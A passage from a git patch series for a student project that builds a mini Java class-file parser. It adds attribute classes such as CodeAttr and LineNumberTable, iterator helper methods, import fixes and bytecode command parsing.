 =?UTF-8?q?ld=E5=92=8CMethod=E6=95=B4=E5=90=88=E5=88=B0=E6=88=91=E7=9A=84?=
 =?UTF-8?q?=E4=BB=A3=E7=A0=81=E4=B8=AD?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +++
 .../coderising/jvm/attr/CodeAttr.java         | 120 ++++++++++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  68 ++++++++++
 .../jvm/attr/LocalVariableItem.java           |  39 ++++++
 .../jvm/attr/LocalVariableTable.java          |  57 +++++++++
 .../coderising/jvm/attr/StackMapTable.java    |  30 +++++
 .../coderising/jvm/clz/ClassFile.java         |   5 +-
 .../coderising/jvm/field/Field.java           |  14 +-
 .../jvm/loader/ByteCodeIterator.java          |  22 ++++
 .../jvm/loader/ClassFileParser.java           |  44 ++++++-
 .../coderising/jvm/method/Method.java         |  25 ++--
 .../jvm/test/ClassFileloaderTest.java         |   4 +-
 12 files changed, 422 insertions(+), 25 deletions(-)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/StackMapTable.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/AttributeInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..661e65bb2b
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..e6b7da9bb6
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,120 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.attr;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		int attrNameIndex = iter.nextU2toInt();
+		int attrLen = iter.nextU4toInt();
+		int maxStack = iter.nextU2toInt();
+		int maxLocals = iter.nextU2toInt();
+		int codeLen = iter.nextU4toInt();
+		
+		String code = iter.nextUxToHexString(codeLen);
+		
+		System.out.println(code);
+		
+		//ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
+		
+		int exceptionTableLen = iter.nextU2toInt();
+		//TODO 处理exception
+		if(exceptionTableLen>0){
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+			System.out.println("Encountered exception table , just ignore it :" + exTable);
+			
+		}
+		
+		
+		int subAttrCount = iter.nextU2toInt();
+		
+		for(int x=1; x<=subAttrCount; x++){
+			int subAttrIndex = iter.nextU2toInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+		
+			//已经向前移动了U2, 现在退回去。
+			iter.skip(-2);
+			//line item table
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+				
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			}
+			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			} 
+			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			}
+			else{
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+			
+			
+		}
+		
+		return codeAttr;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Code:").append(code).append("\n");
+		/*for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}*/
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..5461518d3d
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,68 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.attr;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		int index = iter.nextU2toInt();
+		int len = iter.nextU4toInt();
+		
+		LineNumberTable table = new LineNumberTable(index,len);
+		
+		int itemLen = iter.nextU2toInt();
+		
+		for(int i=1; i<=itemLen; i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2toInt());
+			item.setLineNum(iter.nextU2toInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableItem.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..8d2c4da5c7
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..3dd937aa2f
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,57 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.attr;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		int index = iter.nextU2toInt();
+		int len = iter.nextU4toInt();
+		
+		LocalVariableTable table = new LocalVariableTable(index,len);
+		
+		int itemLen = iter.nextU2toInt();
+		
+		for(int i=1; i<=itemLen; i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2toInt());
+			item.setLength(iter.nextU2toInt());
+			item.setNameIndex(iter.nextU2toInt());
+			item.setDescIndex(iter.nextU2toInt());
+			item.setIndex(iter.nextU2toInt());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/StackMapTable.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..ef046cdfc2
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.attr;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2toInt();
+		int len = iter.nextU4toInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
index 82eee82fb5..7135ef9bcb 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
@@ -1,10 +1,11 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.clz;
 
 
-import assignments.jvm.field.Field;
-import assignments.jvm.method.Method;
+
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ClassInfo;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.field.Field;
+import com.github.miniyk2012.coding2017.coderising.jvm.method.Method;
 
 import java.util.ArrayList;
 import java.util.List;
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
index 017e6cd8bc..54d0854ba7 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
@@ -1,9 +1,9 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.field;
 
-import assignments.jvm.constant.ConstantPool;
-import assignments.jvm.constant.UTF8Info;
-import assignments.jvm.loader.ByteCodeIterator;
 
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.UTF8Info;
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
 
 public class Field {
 	private int accessFlag;
@@ -32,10 +32,10 @@ public String toString() {
 	
 	public static Field parse(ConstantPool pool, ByteCodeIterator iter){
 		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
+		int accessFlag = iter.nextU2toInt();
+		int nameIndex = iter.nextU2toInt();
+		int descIndex = iter.nextU2toInt();
+		int attribCount = iter.nextU2toInt();
 		//System.out.println("field attribute count:"+ attribCount);
 		
 		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
index 73eb2fc1ff..ef2a984ffa 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
@@ -24,6 +24,10 @@ public int nextU2toInt() {
         return Util.byteToInt(u2);
     }
 
+    public int nextU4toInt() {
+        return assignments.jvm.util.Util.byteToInt(new byte[] { codes[point++], codes[point++], codes[point++], codes[point++] });
+    }
+
     /**
      * 读取n个字节，并编码成UTF-8输出，point自动增加
      * @param n
@@ -31,6 +35,10 @@ public int nextU2toInt() {
      */
     public String readUtf8(int n)
     {
+        if (point + n >= codes.length) {
+            throw new ArrayIndexOutOfBoundsException();
+        }
+
         byte[] info = Arrays.copyOfRange(codes, point, point+n);
         String utf8;
         try {
@@ -63,6 +71,20 @@ public void seek(int n) {
         point = n;
     }
 
+    public String nextU4ToHexString() {
+        return assignments.jvm.util.Util.byteToHexString((new byte[] { codes[point++], codes[point++], codes[point++], codes[point++] }));
+    }
+
+    public String nextUxToHexString(int len) {
+        byte[] tmp = new byte[len];
+
+        for (int i = 0; i < len; i++) {
+            tmp[i] = codes[point++];
+        }
+        return assignments.jvm.util.Util.byteToHexString(tmp).toLowerCase();
+
+    }
+
     public static void main(String[] args) throws UnsupportedEncodingException {
         byte[] codes = {0x00, 0x34, 0x00};
         ByteCodeIterator byteCodeIterator = new ByteCodeIterator(codes);
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
index 7b84a15899..2638010915 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
@@ -1,9 +1,12 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.loader;
 
+
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.AccessFlag;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
+import com.github.miniyk2012.coding2017.coderising.jvm.field.Field;
+import com.github.miniyk2012.coding2017.coderising.jvm.method.Method;
 
 
 public class ClassFileParser {
@@ -12,7 +15,12 @@ public ClassFile parse(byte[] codes) {
 
 		ClassFile clzFile = new ClassFile();
         ByteCodeIterator byteCodeIterator = new ByteCodeIterator(codes);
-        byteCodeIterator.skip(4);  // skip magic
+        // byteCodeIterator.skip(4);  // skip magic number
+        String magicNumber = byteCodeIterator.nextU4ToHexString();
+
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
         int minorVersion = byteCodeIterator.nextU2toInt();
         int majorVersion = byteCodeIterator.nextU2toInt();
         ConstantPool constantPool = parseConstantPool(byteCodeIterator);
@@ -24,6 +32,8 @@ public ClassFile parse(byte[] codes) {
         clzFile.setConstPool(constantPool);
         clzFile.setAccessFlag(accessFlag);
         clzFile.setClassIndex(classIndex);
+
+        parseInterfaces(byteCodeIterator);
         return clzFile;
 	}
 
@@ -55,6 +65,38 @@ protected ConstantPool parseConstantPool(ByteCodeIterator iter) {
         return constantPool;
 	}
 
+    private void parseInterfaces(ByteCodeIterator iter) {
+        int interfaceCount = iter.nextU2toInt();
+
+        System.out.println("interfaceCount:" + interfaceCount);
+        for (int i=0; i<interfaceCount; i++) {
+            // TODO : 如果实现了interface, 这里需要解析
+            iter.skip(2);
+        }
+
+    }
+
+    private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+        int fieldCount = iter.nextU2toInt();
+
+        for (int i = 1; i <= fieldCount; i++) {
+            Field f = Field.parse(clzFile.getConstantPool(), iter);
+            clzFile.addField(f);
+        }
+
+    }
+
+    private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int methodCount = iter.nextU2toInt();
+
+        for (int i = 1; i <= methodCount; i++) {
+            Method m = Method.parse(clzFile, iter);
+            clzFile.addMethod(m);
+        }
+
+    }
+
     protected ConstantInfo getConstantInfo(ByteCodeIterator iter, int tag, ConstantPool pool) {
 	    switch (tag) {
             case ConstantInfo.UTF8_INFO: {
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
index f9e62fbb93..e97bc6ad1c 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -1,13 +1,12 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.method;
 
-import assignments.jvm.clz.ClassFile;
-import assignments.jvm.attr.AttributeInfo;
-import assignments.jvm.attr.CodeAttr;
-import assignments.jvm.constant.ConstantPool;
-import assignments.jvm.constant.UTF8Info;
-import assignments.jvm.loader.ByteCodeIterator;
-
 
+import com.github.miniyk2012.coding2017.coderising.jvm.attr.AttributeInfo;
+import com.github.miniyk2012.coding2017.coderising.jvm.attr.CodeAttr;
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.UTF8Info;
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
 
 public class Method {
 	
@@ -67,19 +66,19 @@ public String toString() {
 	}
 	
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
+		int accessFlag = iter.nextU2toInt();
+		int nameIndex = iter.nextU2toInt();
+		int descIndex = iter.nextU2toInt();
+		int attribCount = iter.nextU2toInt();
 		
 		
 		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
 		
 		for( int j=1; j<= attribCount; j++){
 			
-			int attrNameIndex = iter.nextU2ToInt();	
+			int attrNameIndex = iter.nextU2toInt();
 			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-			iter.back(2);
+			iter.skip(-2);
 			
 			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
 				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index 21d5ddbd71..dde100361f 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,11 +1,11 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.test;
 
-import assignments.jvm.field.Field;
-import assignments.jvm.method.Method;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
+import com.github.miniyk2012.coding2017.coderising.jvm.field.Field;
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
+import com.github.miniyk2012.coding2017.coderising.jvm.method.Method;
 import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
 import org.junit.After;
 import org.junit.Assert;

From 716988973600197347becb3d03b067d90c49cbac Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Tue, 18 Apr 2017 23:22:49 +0800
Subject: [PATCH 093/262] load asignment

---
 .../src/com/coderising/jvm/attr/CodeAttr.java |  22 ++-
 .../src/com/coderising/jvm/clz/ClassFile.java |  14 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 ++++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ++++++++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java |  95 +++++++++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 ++++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 ++++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +++
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 ++++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 +++++++++
 .../src/com/coderising/jvm/method/Method.java |   7 +
 .../jvm/print/ClassFilePrinter.java           |  54 ++++++++
 .../jvm/print/ConstantPoolPrinter.java        |  25 ++++
 .../jvm/test/ClassFileloaderTest.java         |  76 +++++++++++
 19 files changed, 709 insertions(+), 9 deletions(-)
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java

diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
index 0e0e46f925..c14103ffab 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -1,6 +1,8 @@
 package com.coderising.jvm.attr;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 import com.sun.org.apache.bcel.internal.classfile.Attribute;
@@ -15,21 +17,24 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		
+		
+		
+		return cmds;
+	}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code, ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -49,7 +54,10 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 		String code = iter.nextUxToHexString(codeLen);
 		System.out.println("code:" + code);
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+		
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
 		
 		int exceptionTableLen = iter.nextU2toInt();
 		if (exceptionTableLen > 0) {
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index e38d3091e4..13a3e4db4d 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -78,12 +78,12 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
